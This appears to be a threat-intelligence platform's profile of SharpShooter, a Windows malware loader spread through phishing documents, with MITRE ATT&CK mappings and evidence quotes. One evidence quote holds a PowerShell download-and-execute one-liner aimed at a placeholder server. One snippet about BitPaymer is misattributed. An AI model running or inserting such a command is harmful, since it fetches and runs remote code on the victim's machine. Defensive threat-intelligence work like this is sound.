Malware

Sharpshooter

SharpShooter is a malware delivery framework and first-stage downloader used to execute follow-on payloads on Windows systems. It has been distributed through malicious email attachments, including weaponized Microsoft Office documents and PDF files, relying on user interaction to open the lure document and trigger execution. The framework’s first-stage component dynamically resolves Windows APIs such as LoadLibraryA and GetProcAddress and uses process-creation functionality including CreateProcessA, indicating a staged execution model designed to launch additional code or payloads while reducing static detection opportunities. SharpShooter is primarily associated with phishing and spearphishing-style delivery and is best characterized as a Windows-focused loader/downloader used for initial compromise and payload execution rather than as a standalone final-stage implant.

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MITRE ATT&CK

Techniques & procedures

3 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

1 technique

T1059.005Visual BasicEvidence1

we first caught a generic powershell line in a XLM macro, which caught our attention along with other keywords: powershell.exe -c iex((new-object net.webclient).DownloadString('https://server/run.txt'))

Privilege Escalation

1 technique

T1055Process InjectionEvidence1

The following proof of concept demonstrates shellcode injection using macros in SYLK... Dominic Chell has also embedded process injection using SYLK payloads in his SharpShooter tool.

Stealth

2 techniques

T1027Obfuscated Files or InformationEvidence1

BitPaymer has used dynamic API resolution to avoid identifiable strings within the binary, including RegEnumKeyW.

T1055Process InjectionEvidence1

The following proof of concept demonstrates shellcode injection using macros in SYLK... Dominic Chell has also embedded process injection using SYLK payloads in his SharpShooter tool.

ACTIVITY FEED

Recent activity

3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

3 SOURCESView more in app

mitre attack websiteNews

Jan 1, 2021

Phishing: Spearphishing Attachment, Sub-technique T1566.001 - Enterprise | MITRE ATT&CK®

Remote access trojan delivered through malicious email attachments.

mitre attackNews

Jan 25, 2026

Native API, Technique T1106 - Enterprise | MITRE ATT&CK®

Downloader that dynamically resolves Windows libraries/APIs and can create processes (CreateProcessA).

mitre attackNews

Mar 18, 2026

User Execution: Malicious File, Sub-technique T1204.002 - Enterprise | MITRE ATT&CK®

Sharpshooter has sent malicious DOC and PDF files to targets so that they can be opened by a user.

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IOC matching

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping3

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.

Sharpshooter